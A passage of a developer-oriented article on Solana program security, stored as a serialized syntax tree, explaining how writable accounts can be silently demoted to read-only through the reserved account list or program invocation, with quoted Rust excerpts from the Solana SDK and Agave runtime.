is_program",{"type":24,"tag":83,"props":73788,"children":73789},{"style":107},[73790],{"type":29,"value":558},{"type":24,"tag":83,"props":73792,"children":73793},{"style":137},[73794],{"type":29,"value":12698},{"type":24,"tag":83,"props":73796,"children":73797},{"style":143},[73798],{"type":29,"value":195},{"type":24,"tag":83,"props":73800,"children":73801},{"style":143},[73802],{"type":29,"value":6888},{"type":24,"tag":83,"props":73804,"children":73805},{"style":3163},[73806],{"type":29,"value":14681},{"type":24,"tag":83,"props":73808,"children":73809},{"style":107},[73810],{"type":29,"value":633},{"type":24,"tag":83,"props":73812,"children":73813},{"style":143},[73814],{"type":29,"value":13502},{"type":24,"tag":83,"props":73816,"children":73817},{"style":3163},[73818],{"type":29,"value":11797},{"type":24,"tag":83,"props":73820,"children":73821},{"style":107},[73822],{"type":29,"value":125},{"type":24,"tag":83,"props":73824,"children":73825},{"class":85,"line":128},[73826,73830,73834],{"type":24,"tag":83,"props":73827,"children":73828},{"style":137},[73829],{"type":29,"value":24922},{"type":24,"tag":83,"props":73831,"children":73832},{"style":143},[73833],{"type":29,"value":161},{"type":24,"tag":83,"props":73835,"children":73836},{"style":107},[73837],{"type":29,"value":73838},"executable\n",{"type":24,"tag":83,"props":73840,"children":73841},{"class":85,"line":183},[73842],{"type":24,"tag":83,"props":73843,"children":73844},{"style":107},[73845],{"type":29,"value":464},{"type":24,"tag":83,"props":73847,"children":73848},{"class":85,"line":203},[73849,73853,73857,73861,73865,73869,73873,73877,73881],{"type":24,"tag":83,"props":73850,"children":73851},{"style":90},[73852],{"type":29,"value":11534},{"type":24,"tag":83,"props":73854,"children":73855},{"style":137},[73856],{"type":29,"value":72606},{"type":24,"tag":83,"props":73858,"children":73859},{"style":143},[73860],{"type":29,"value":146},{"type":24,"tag":83,"props":73862,"children":73863},{"style":3163},[73864],{"type":29,"value":43187},{"type":24,"tag":83,"props":73866,"children":73867},{"style":143},[73868],{"type":29,"value":3226},{"type":24,"tag":83,"props":73870,"children":73871},{"style":101},[73872],{"type":29,"value":619},{"type":24,"tag":83,"props":73874,"children":73875},{"style":107},[73876],{"type":29,"value":13624},{"type":24,"tag":83,"props":73878,"children":73879},{"style":143},[73880],{"type":29,"value":2900},{"type":24,"tag":83,"props":73882,"children":73883},{"style":107},[73884],{"type":29,"value":321},{"type":24,"tag":83,"props":73886,"children":73887},{"class":85,"line":212},[73888,73892,73897,73901,73905,73909,73913,73917,73921,73925],{"type":24,"tag":83,"props":73889,"children":73890},{"style":90},[73891],{"type":29,"value":11534},{"type":24,"tag":83,"props":73893,"children":73894},{"style":137},[73895],{"type":29,"value":73896}," balance_after",{"type":24,"tag":83,"props":73898,"children":73899},{"style":143},[73900],{"type":29,"value":146},{"type":24,"tag":83,"props":73902,"children":73903},{"style":137},[73904],{"type":29,"value":5227},{"type":24,"tag":83,"props":73906,"children":73907},{"style":143},[73908],{"type":29,"value":161},{"type":24,"tag":83,"props":73910,"children":73911},{"style":101},[73912],{"type":29,"value":15251},{"type":24,"tag":83,"props":73914,"children":73915},{"style":107},[73916],{"type":29,"value":13788},{"type":24,"tag":83,"props":73918,"children":73919},{"style":143},[73920],{"type":29,"value":4126},{"type":24,"tag":83,"props":73922,"children":73923},{"style":137},[73924],{"type":29,"value":72917},{"type":24,"tag":83,"props":73926,"children":73927},{"style":107},[73928],{"type":29,"value":321},{"type":24,"tag":83,"props":73930,"children":73931},{"class":85,"line":256},[73932,73936,73940,73944,73948],{"type":24,"tag":83,"props":73933,"children":73934},{"style":3163},[73935],{"type":29,"value":20230},{"type":24,"tag":83,"props":73937,"children":73938},{"style":107},[73939],{"type":29,"value":558},{"type":24,"tag":83,"props":73941,"children":73942},{"style":137},[73943],{"type":29,"value":12698},{"type":24,"tag":83,"props":73945,"children":73946},{"style":143},[73947],{"type":29,"value":161},{"type":24,"tag":83,"props":73949,"children":73950},{"style":107},[73951],{"type":29,"value":73952},"is_writable\n",{"type":24,"tag":83,"props":73954,"children":73955},{"class":85,"line":270},[73956,73960,73964,73968,73973,73977,73982,73986,73990,73994,73998],{"type":24,"tag":83,"props":73957,"children":73958},{"style":143},[73959],{"type":29,"value":15360},{"type":24,"tag":83,"props":73961,"children":73962},{"style":137},[73963],{"type":29,"value":72606},{"type":24,"tag":83,"props":73965,"children":73966},{"style":143},[73967],{"type":29,"value":161},{"type":24,"tag":83,"props":73969,"children":73970},{"style":101},[73971],{"type":29,"value":73972},"is_exempt",{"type":24,"tag":83,"props":73974,"children":73975},{"style":107},[73976],{"type":29,"value":558},{"type":24,"tag":83,"props":73978,"children":73979},{"style":137},[73980],{"type":29,"value":73981},"balance_after",{"type":24,"tag":83,"props":73983,"children":73984},{"style":107},[73985],{"type":29,"value":568},{"type":24,"tag":83,"props":73987,"children":73988},{"style":137},[73989],{"type":29,"value":12698},{"type":24,"tag":83,"props":73991,"children":73992},{"style":143},[73993],{"type":29,"value":161},{"type":24,"tag":83,"props":73995,"children":73996},{"style":101},[73997],{"type":29,"value":13551},{"type":24,"tag":83,"props":73999,"children":74000},{"style":107},[74001],{"type":29,"value":15399},{"type":24,"tag":83,"props":74003,"children":74004},{"class":85,"line":302},[74005,74009,74013,74018,74022,74026],{"type":24,"tag":83,"props":74006,"children":74007},{"style":143},[74008],{"type":29,"value":15360},{"type":24,"tag":83,"props":74010,"children":74011},{"style":143},[74012],{"type":29,"value":12609},{"type":24,"tag":83,"props":74014,"children":74015},{"style":101},[74016],{"type":29,"value":74017},"is_program",{"type":24,"tag":83,"props":74019,"children":74020},{"style":107},[74021],{"type":29,"value":558},{"type":24,"tag":83,"props":74023,"children":74024},{"style":137},[74025],{"type":29,"value":12698},{"type":24,"tag":83,"props":74027,"children":74028},{"style":107},[74029],{"type":29,"value":19452},{"type":24,"tag":83,"props":74031,"children":74032},{"class":85,"line":324},[74033],{"type":24,"tag":83,"props":74034,"children":74035},{"style":107},[74036],{"type":29,"value":464},{"type":24,"tag":25,"props":74038,"children":74039},{},[74040],{"type":29,"value":74041},"Now we’re safe...right?",{"type":24,"tag":1818,"props":74043,"children":74045},{"id":74044},"bug-3-the-write-demotion-trap",[74046],{"type":29,"value":74047},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":74049,"children":74050},{},[74051,74053,74058,74060,74065],{"type":29,"value":74052},"On Solana, accounts passed as ",{"type":24,"tag":2040,"props":74054,"children":74055},{},[74056],{"type":29,"value":74057},"writable",{"type":29,"value":74059}," in a transaction can be ",{"type":24,"tag":2040,"props":74061,"children":74062},{},[74063],{"type":29,"value":74064},"silently downgraded to read-only",{"type":29,"value":74066},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":74068,"children":74069},{},[74070,74072,74079],{"type":29,"value":74071},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":2033,"props":74073,"children":74076},{"href":74074,"rel":74075},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[2037],[74077],{"type":29,"value":74078},"MessageV0",{"type":29,"value":74080},", but legacy is simpler to follow):",{"type":24,"tag":73,"props":74082,"children":74084},{"className":2725,"code":74083,"language":2724,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[74085],{"type":24,"tag":32,"props":74086,"children":74087},{"__ignoreMap":7},[74088,74096,74120,74208,74229,74241,74257,74273,74321,74350,74404,74440,74448,74485,74497,74535,74547,74554,74561,74568,74575,74583,74643,74696],{"type":24,"tag":83,"props":74089,"children":74090},{"class":85,"line":86},[74091],{"type":24,"tag":83,"props":74092,"children":74093},{"style":2735},[74094],{"type":29,"value":74095},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":83,"props":74097,"children":74098},{"class":85,"line":113},[74099,74103,74108,74112,74116],{"type":24,"tag":83,"props":74100,"children":74101},{"style":90},[74102],{"type":29,"value":27944},{"type":24,"tag":83,"props":74104,"children":74105},{"style":3163},[74106],{"type":29,"value":74107}," LegacyMessage",{"type":24,"tag":83,"props":74109,"children":74110},{"style":107},[74111],{"type":29,"value":22662},{"type":24,"tag":83,"props":74113,"children":74114},{"style":3163},[74115],{"type":29,"value":2827},{"type":24,"tag":83,"props":74117,"children":74118},{"style":107},[74119],{"type":29,"value":7028},{"type":24,"tag":83,"props":74121,"children":74122},{"class":85,"line":128},[74123,74127,74131,74135,74139,74143,74147,74152,74156,74161,74165,74170,74174,74178,74183,74187,74191,74195,74199,74204],{"type":24,"tag":83,"props":74124,"children":74125},{"style":90},[74126],{"type":29,"value":20583},{"type":24,"tag":83,"props":74128,"children":74129},{"style":90},[74130],{"type":29,"value":13440},{"type":24,"tag":83,"props":74132,"children":74133},{"style":101},[74134],{"type":29,"value":944},{"type":24,"tag":83,"props":74136,"children":74137},{"style":107},[74138],{"type":29,"value":558},{"type":24,"tag":83,"props":74140,"children":74141},{"style":137},[74142],{"type":29,"value":67752},{"type":24,"tag":83,"props":74144,"children":74145},{"style":143},[74146],{"type":29,"value":195},{"type":24,"tag":83,"props":74148,"children":74149},{"style":107},[74150],{"type":29,"value":74151}," legacy",{"type":24,"tag":83,"props":74153,"children":74154},{"style":143},[74155],{"type":29,"value":3226},{"type":24,"tag":83,"props":74157,"children":74158},{"style":3163},[74159],{"type":29,"value":74160},"Message",{"type":24,"tag":83,"props":74162,"children":74163},{"style":107},[74164],{"type":29,"value":568},{"type":24,"tag":83,"props":74166,"children":74167},{"style":137},[74168],{"type":29,"value":74169},"reserved_account_keys",{"type":24,"tag":83,"props":74171,"children":74172},{"style":143},[74173],{"type":29,"value":195},{"type":24,"tag":83,"props":74175,"children":74176},{"style":143},[74177],{"type":29,"value":6888},{"type":24,"tag":83,"props":74179,"children":74180},{"style":3163},[74181],{"type":29,"value":74182},"HashSet",{"type":24,"tag":83,"props":74184,"children":74185},{"style":107},[74186],{"type":29,"value":5552},{"type":24,"tag":83,"props":74188,"children":74189},{"style":3163},[74190],{"type":29,"value":21138},{"type":24,"tag":83,"props":74192,"children":74193},{"style":107},[74194],{"type":29,"value":20187},{"type":24,"tag":83,"props":74196,"children":74197},{"style":143},[74198],{"type":29,"value":13502},{"type":24,"tag":83,"props":74200,"children":74201},{"style":90},[74202],{"type":29,"value":74203}," Self",{"type":24,"tag":83,"props":74205,"children":74206},{"style":107},[74207],{"type":29,"value":125},{"type":24,"tag":83,"props":74209,"children":74210},{"class":85,"line":183},[74211,74215,74220,74224],{"type":24,"tag":83,"props":74212,"children":74213},{"style":90},[74214],{"type":29,"value":2809},{"type":24,"tag":83,"props":74216,"children":74217},{"style":137},[74218],{"type":29,"value":74219}," is_writable_account_cache",{"type":24,"tag":83,"props":74221,"children":74222},{"style":143},[74223],{"type":29,"value":146},{"type":24,"tag":83,"props":74225,"children":74226},{"style":137},[74227],{"type":29,"value":74228}," message\n",{"type":24,"tag":83,"props":74230,"children":74231},{"class":85,"line":203},[74232,74236],{"type":24,"tag":83,"props":74233,"children":74234},{"style":143},[74235],{"type":29,"value":2913},{"type":24,"tag":83,"props":74237,"children":74238},{"style":107},[74239],{"type":29,"value":74240},"account_keys\n",{"type":24,"tag":83,"props":74242,"children":74243},{"class":85,"line":212},[74244,74248,74253],{"type":24,"tag":83,"props":74245,"children":74246},{"style":143},[74247],{"type":29,"value":2913},{"type":24,"tag":83,"props":74249,"children":74250},{"style":101},[74251],{"type":29,"value":74252},"iter",{"type":24,"tag":83,"props":74254,"children":74255},{"style":107},[74256],{"type":29,"value":7483},{"type":24,"tag":83,"props":74258,"children":74259},{"class":85,"line":256},[74260,74264,74269],{"type":24,"tag":83,"props":74261,"children":74262},{"style":143},[74263],{"type":29,"value":2913},{"type":24,"tag":83,"props":74265,"children":74266},{"style":101},[74267],{"type":29,"value":74268},"enumerate",{"type":24,"tag":83,"props":74270,"children":74271},{"style":107},[74272],{"type":29,"value":7483},{"type":24,"tag":83,"props":74274,"children":74275},{"class":85,"line":270},[74276,74280,74284,74288,74292,74296,74300,74304,74309,74313,74317],{"type":24,"tag":83,"props":74277,"children":74278},{"style":143},[74279],{"type":29,"value":2913},{"type":24,"tag":83,"props":74281,"children":74282},{"style":101},[74283],{"type":29,"value":66817},{"type":24,"tag":83,"props":74285,"children":74286},{"style":107},[74287],{"type":29,"value":558},{"type":24,"tag":83,"props":74289,"children":74290},{"style":143},[74291],{"type":29,"value":10163},{"type":24,"tag":83,"props":74293,"children":74294},{"style":107},[74295],{"type":29,"value":558},{"type":24,"tag":83,"props":74297,"children":74298},{"style":137},[74299],{"type":29,"value":3482},{"type":24,"tag":83,"props":74301,"children":74302},{"style":107},[74303],{"type":29,"value":568},{"type":24,"tag":83,"props":74305,"children":74306},{"style":137},[74307],{"type":29,"value":74308},"_key",{"type":24,"tag":83,"props":74310,"children":74311},{"style":107},[74312],{"type":29,"value":2872},{"type":24,"tag":83,"props":74314,"children":74315},{"style":143},[74316],{"type":29,"value":10163},{"type":24,"tag":83,"props":74318,"children":74319},{"style":107},[74320],{"type":29,"value":125},{"type":24,"tag":83,"props":74322,"children":74323},{"class":85,"line":302},[74324,74329,74333,74338,74342,74346],{"type":24,"tag":83,"props":74325,"children":74326},{"style":137},[74327],{"type":29,"value":74328},"                message",{"type":24,"tag":83,"props":74330,"children":74331},{"style":143},[74332],{"type":29,"value":161},{"type":24,"tag":83,"props":74334,"children":74335},{"style":101},[74336],{"type":29,"value":74337},"is_writable_index",{"type":24,"tag":83,"props":74339,"children":74340},{"style":107},[74341],{"type":29,"value":558},{"type":24,"tag":83,"props":74343,"children":74344},{"style":137},[74345],{"type":29,"value":3482},{"type":24,"tag":83,"props":74347,"children":74348},{"style":107},[74349],{"type":29,"value":2905},{"type":24,"tag":83,"props":74351,"children":74352},{"class":85,"line":324},[74353,74358,74362,74366,74370,74375,74379,74383,74387,74391,74396,74400],{"type":24,"tag":83,"props":74354,"children":74355},{"style":143},[74356],{"type":29,"value":74357},"                    &&",{"type":24,"tag":83,"props":74359,"children":74360},{"style":143},[74361],{"type":29,"value":12609},{"type":24,"tag":83,"props":74363,"children":74364},{"style":137},[74365],{"type":29,"value":74169},{"type":24,"tag":83,"props":74367,"children":74368},{"style":143},[74369],{"type":29,"value":161},{"type":24,"tag":83,"props":74371,"children":74372},{"style":101},[74373],{"type":29,"value":74374},"contains",{"type":24,"tag":83,"props":74376,"children":74377},{"style":107},[74378],{"type":29,"value":558},{"type":24,"tag":83,"props":74380,"children":74381},{"style":143},[74382],{"type":29,"value":2853},{"type":24,"tag":83,"props":74384,"children":74385},{"style":137},[74386],{"type":29,"value":67752},{"type":24,"tag":83,"props":74388,"children":74389},{"style":143},[74390],{"type":29,"value":161},{"type":24,"tag":83,"props":74392,"children":74393},{"style":107},[74394],{"type":29,"value":74395},"account_keys[",{"type":24,"tag":83,"props":74397,"children":74398},{"style":137},[74399],{"type":29,"value":3482},{"type":24,"tag":83,"props":74401,"children":74402},{"style":107},[74403],{"type":29,"value":55154},{"type":24,"tag":83,"props":74405,"children":74406},{"class":85,"line":345},[74407,74411,74415,74419,74423,74428,74432,74436],{"type":24,"tag":83,"props":74408,"children":74409},{"style":143},[74410],{"type":29,"value":74357},{"type":24,"tag":83,"props":74412,"children":74413},{"style":143},[74414],{"type":29,"value":12609},{"type":24,"tag":83,"props":74416,"children":74417},{"style":137},[74418],{"type":29,"value":67752},{"type":24,"tag":83,"props":74420,"children":74421},{"style":143},[74422],{"type":29,"value":161},{"type":24,"tag":83,"props":74424,"children":74425},{"style":101},[74426],{"type":29,"value":74427},"demote_program_id",{"type":24,"tag":83,"props":74429,"children":74430},{"style":107},[74431],{"type":29,"value":558},{"type":24,"tag":83,"props":74433,"children":74434},{"style":137},[74435],{"type":29,"value":3482},{"type":24,"tag":83,"props":74437,"children":74438},{"style":107},[74439],{"type":29,"value":2905},{"type":24,"tag":83,"props":74441,"children":74442},{"class":85,"line":358},[74443],{"type":24,"tag":83,"props":74444,"children":74445},{"style":107},[74446],{"type":29,"value":74447},"            })\n",{"type":24,"tag":83,"props":74449,"children":74450},{"class":85,"line":367},[74451,74455,74460,74464,74468,74472,74476,74480],{"type":24,"tag":83,"props":74452,"children":74453},{"style":143},[74454],{"type":29,"value":2913},{"type":24,"tag":83,"props":74456,"children":74457},{"style":101},[74458],{"type":29,"value":74459},"collect",{"type":24,"tag":83,"props":74461,"children":74462},{"style":143},[74463],{"type":29,"value":3226},{"type":24,"tag":83,"props":74465,"children":74466},{"style":107},[74467],{"type":29,"value":5552},{"type":24,"tag":83,"props":74469,"children":74470},{"style":3163},[74471],{"type":29,"value":16947},{"type":24,"tag":83,"props":74473,"children":74474},{"style":107},[74475],{"type":29,"value":5552},{"type":24,"tag":83,"props":74477,"children":74478},{"style":137},[74479],{"type":29,"value":2827},{"type":24,"tag":83,"props":74481,"children":74482},{"style":107},[74483],{"type":29,"value":74484},">>();\n",{"type":24,"tag":83,"props":74486,"children":74487},{"class":85,"line":406},[74488,74493],{"type":24,"tag":83,"props":74489,"children":74490},{"style":90},[74491],{"type":29,"value":74492},"        Self",{"type":24,"tag":83,"props":74494,"children":74495},{"style":107},[74496],{"type":29,"value":125},{"type":24,"tag":83,"props":74498,"children":74499},{"class":85,"line":427},[74500,74505,74509,74514,74518,74523,74527,74531],{"type":24,"tag":83,"props":74501,"children":74502},{"style":137},[74503],{"type":29,"value":74504},"            message",{"type":24,"tag":83,"props":74506,"children":74507},{"style":143},[74508],{"type":29,"value":195},{"type":24,"tag":83,"props":74510,"children":74511},{"style":3163},[74512],{"type":29,"value":74513}," Cow",{"type":24,"tag":83,"props":74515,"children":74516},{"style":143},[74517],{"type":29,"value":3226},{"type":24,"tag":83,"props":74519,"children":74520},{"style":101},[74521],{"type":29,"value":74522},"Owned",{"type":24,"tag":83,"props":74524,"children":74525},{"style":107},[74526],{"type":29,"value":558},{"type":24,"tag":83,"props":74528,"children":74529},{"style":137},[74530],{"type":29,"value":67752},{"type":24,"tag":83,"props":74532,"children":74533},{"style":107},[74534],{"type":29,"value":6483},{"type":24,"tag":83,"props":74536,"children":74537},{"class":85,"line":440},[74538,74543],{"type":24,"tag":83,"props":74539,"children":74540},{"style":137},[74541],{"type":29,"value":74542},"            is_writable_account_cache",{"type":24,"tag":83,"props":74544,"children":74545},{"style":107},[74546],{"type":29,"value":989},{"type":24,"tag":83,"props":74548,"children":74549},{"class":85,"line":449},[74550],{"type":24,"tag":83,"props":74551,"children":74552},{"style":107},[74553],{"type":29,"value":3092},{"type":24,"tag":83,"props":74555,"children":74556},{"class":85,"line":458},[74557],{"type":24,"tag":83,"props":74558,"children":74559},{"style":107},[74560],{"type":29,"value":446},{"type":24,"tag":83,"props":74562,"children":74563},{"class":85,"line":1065},[74564],{"type":24,"tag":83,"props":74565,"children":74566},{"style":107},[74567],{"type":29,"value":464},{"type":24,"tag":83,"props":74569,"children":74570},{"class":85,"line":1668},[74571],{"type":24,"tag":83,"props":74572,"children":74573},{"emptyLinePlaceholder":16},[74574],{"type":29,"value":3422},{"type":24,"tag":83,"props":74576,"children":74577},{"class":85,"line":1713},[74578],{"type":24,"tag":83,"props":74579,"children":74580},{"style":2735},[74581],{"type":29,"value":74582},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":83,"props":74584,"children":74585},{"class":85,"line":1730},[74586,74590,74594,74599,74603,74607,74611,74615,74619,74623,74627,74631,74635,74639],{"type":24,"tag":83,"props":74587,"children":74588},{"style":90},[74589],{"type":29,"value":13435},{"type":24,"tag":83,"props":74591,"children":74592},{"style":90},[74593],{"type":29,"value":13440},{"type":24,"tag":83,"props":74595,"children":74596},{"style":101},[74597],{"type":29,"value":74598}," demote_program_id",{"type":24,"tag":83,"props":74600,"children":74601},{"style":107},[74602],{"type":29,"value":558},{"type":24,"tag":83,"props":74604,"children":74605},{"style":143},[74606],{"type":29,"value":2853},{"type":24,"tag":83,"props":74608,"children":74609},{"style":90},[74610],{"type":29,"value":13458},{"type":24,"tag":83,"props":74612,"children":74613},{"style":107},[74614],{"type":29,"value":568},{"type":24,"tag":83,"props":74616,"children":74617},{"style":137},[74618],{"type":29,"value":3482},{"type":24,"tag":83,"props":74620,"children":74621},{"style":143},[74622],{"type":29,"value":195},{"type":24,"tag":83,"props":74624,"children":74625},{"style":3163},[74626],{"type":29,"value":13476},{"type":24,"tag":83,"props":74628,"children":74629},{"style":107},[74630],{"type":29,"value":633},{"type":24,"tag":83,"props":74632,"children":74633},{"style":143},[74634],{"type":29,"value":13502},{"type":24,"tag":83,"props":74636,"children":74637},{"style":3163},[74638],{"type":29,"value":11797},{"type":24,"tag":83,"props":74640,"children":74641},{"style":107},[74642],{"type":29,"value":125},{"type":24,"tag":83,"props":74644,"children":74645},{"class":85,"line":1770},[74646,74650,74654,74659,74663,74667,74671,74675,74679,74683,74687,74692],{"type":24,"tag":83,"props":74647,"children":74648},{"style":90},[74649],{"type":29,"value":20526},{"type":24,"tag":83,"props":74651,"children":74652},{"style":143},[74653],{"type":29,"value":161},{"type":24,"tag":83,"props":74655,"children":74656},{"style":101},[74657],{"type":29,"value":74658},"is_key_called_as_program",{"type":24,"tag":83,"props":74660,"children":74661},{"style":107},[74662],{"type":29,"value":558},{"type":24,"tag":83,"props":74664,"children":74665},{"style":137},[74666],{"type":29,"value":3482},{"type":24,"tag":83,"props":74668,"children":74669},{"style":107},[74670],{"type":29,"value":633},{"type":24,"tag":83,"props":74672,"children":74673},{"style":143},[74674],{"type":29,"value":72912},{"type":24,"tag":83,"props":74676,"children":74677},{"style":143},[74678],{"type":29,"value":12609},{"type":24,"tag":83,"props":74680,"children":74681},{"style":90},[74682],{"type":29,"value":13458},{"type":24,"tag":83,"props":74684,"children":74685},{"style":143},[74686],{"type":29,"value":161},{"type":24,"tag":83,"props":74688,"children":74689},{"style":101},[74690],{"type":29,"value":74691},"is_upgradeable_loader_present",{"type":24,"tag":83,"props":74693,"children":74694},{"style":107},[74695],{"type":29,"value":7483},{"type":24,"tag":83,"props":74697,"children":74698},{"class":85,"line":1778},[74699],{"type":24,"tag":83,"props":74700,"children":74701},{"style":107},[74702],{"type":29,"value":464},{"type":24,"tag":25,"props":74704,"children":74705},{},[74706],{"type":29,"value":74707},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":63,"props":74709,"children":74710},{},[74711,74723],{"type":24,"tag":67,"props":74712,"children":74713},{},[74714,74716],{"type":29,"value":74715},"The account appears in the ",{"type":24,"tag":2033,"props":74717,"children":74720},{"href":74718,"rel":74719},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[2037],[74721],{"type":29,"value":74722},"reserved account list",{"type":24,"tag":67,"props":74724,"children":74725},{},[74726],{"type":29,"value":74727},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":74729,"children":74730},{},[74731],{"type":29,"value":74732},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":74734,"children":74735},{},[74736],{"type":29,"value":74737},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":18631,"props":74739,"children":74741},{"id":74740},"the-reserved-account-list",[74742],{"type":29,"value":74743},"The Reserved Account List",{"type":24,"tag":25,"props":74745,"children":74746},{},[74747,74749,74754],{"type":29,"value":74748},"The Solana runtime maintains a ",{"type":24,"tag":2033,"props":74750,"children":74752},{"href":74718,"rel":74751},[2037],[74753],{"type":29,"value":74722},{"type":29,"value":74755},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":74757,"children":74758},{},[74759,74761,74768,74770,74775],{"type":29,"value":74760},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":2033,"props":74762,"children":74765},{"href":74763,"rel":74764},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[2037],[74766],{"type":29,"value":74767},"feature gate is actived",{"type":29,"value":74769},", the runtime will ",{"type":24,"tag":2040,"props":74771,"children":74772},{},[74773],{"type":29,"value":74774},"automatically demote them to read-only",{"type":29,"value":74776},", even if the transaction marked them as writable.",{"type":24,"tag":73,"props":74778,"children":74780},{"className":2725,"code":74779,"language":2724,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[74781],{"type":24,"tag":32,"props":74782,"children":74783},{"__ignoreMap":7},[74784,74792,74800,74824,74878,74916,74945],{"type":24,"tag":83,"props":74785,"children":74786},{"class":85,"line":86},[74787],{"type":24,"tag":83,"props":74788,"children":74789},{"style":2735},[74790],{"type":29,"value":74791},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":83,"props":74793,"children":74794},{"class":85,"line":113},[74795],{"type":24,"tag":83,"props":74796,"children":74797},{"style":2735},[74798],{"type":29,"value":74799},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":83,"props":74801,"children":74802},{"class":85,"line":128},[74803,74807,74811,74816,74820],{"type":24,"tag":83,"props":74804,"children":74805},{"style":90},[74806],{"type":29,"value":13458},{"type":24,"tag":83,"props":74808,"children":74809},{"style":143},[74810],{"type":29,"value":161},{"type":24,"tag":83,"props":74812,"children":74813},{"style":107},[74814],{"type":29,"value":74815},"reserved_account_keys ",{"type":24,"tag":83,"props":74817,"children":74818},{"style":143},[74819],{"type":29,"value":1275},{"type":24,"tag":83,"props":74821,"children":74822},{"style":107},[74823],{"type":29,"value":125},{"type":24,"tag":83,"props":74825,"children":74826},{"class":85,"line":183},[74827,74831,74835,74840,74844,74849,74853,74857,74861,74865,74869,74873],{"type":24,"tag":83,"props":74828,"children":74829},{"style":90},[74830],{"type":29,"value":2746},{"type":24,"tag":83,"props":74832,"children":74833},{"style":90},[74834],{"type":29,"value":2751},{"type":24,"tag":83,"props":74836,"children":74837},{"style":137},[74838],{"type":29,"value":74839}," reserved_keys",{"type":24,"tag":83,"props":74841,"children":74842},{"style":143},[74843],{"type":29,"value":146},{"type":24,"tag":83,"props":74845,"children":74846},{"style":3163},[74847],{"type":29,"value":74848}," ReservedAccountKeys",{"type":24,"tag":83,"props":74850,"children":74851},{"style":143},[74852],{"type":29,"value":3226},{"type":24,"tag":83,"props":74854,"children":74855},{"style":101},[74856],{"type":29,"value":733},{"type":24,"tag":83,"props":74858,"children":74859},{"style":107},[74860],{"type":29,"value":558},{"type":24,"tag":83,"props":74862,"children":74863},{"style":143},[74864],{"type":29,"value":2853},{"type":24,"tag":83,"props":74866,"children":74867},{"style":90},[74868],{"type":29,"value":13458},{"type":24,"tag":83,"props":74870,"children":74871},{"style":143},[74872],{"type":29,"value":161},{"type":24,"tag":83,"props":74874,"children":74875},{"style":107},[74876],{"type":29,"value":74877},"reserved_account_keys);\n",{"type":24,"tag":83,"props":74879,"children":74880},{"class":85,"line":203},[74881,74886,74890,74895,74899,74903,74907,74911],{"type":24,"tag":83,"props":74882,"children":74883},{"style":137},[74884],{"type":29,"value":74885},"    reserved_keys",{"type":24,"tag":83,"props":74887,"children":74888},{"style":143},[74889],{"type":29,"value":161},{"type":24,"tag":83,"props":74891,"children":74892},{"style":101},[74893],{"type":29,"value":74894},"update_active_set",{"type":24,"tag":83,"props":74896,"children":74897},{"style":107},[74898],{"type":29,"value":558},{"type":24,"tag":83,"props":74900,"children":74901},{"style":143},[74902],{"type":29,"value":2853},{"type":24,"tag":83,"props":74904,"children":74905},{"style":90},[74906],{"type":29,"value":13458},{"type":24,"tag":83,"props":74908,"children":74909},{"style":143},[74910],{"type":29,"value":161},{"type":24,"tag":83,"props":74912,"children":74913},{"style":107},[74914],{"type":29,"value":74915},"feature_set);\n",{"type":24,"tag":83,"props":74917,"children":74918},{"class":85,"line":212},[74919,74924,74928,74932,74936,74941],{"type":24,"tag":83,"props":74920,"children":74921},{"style":3163},[74922],{"type":29,"value":74923},"    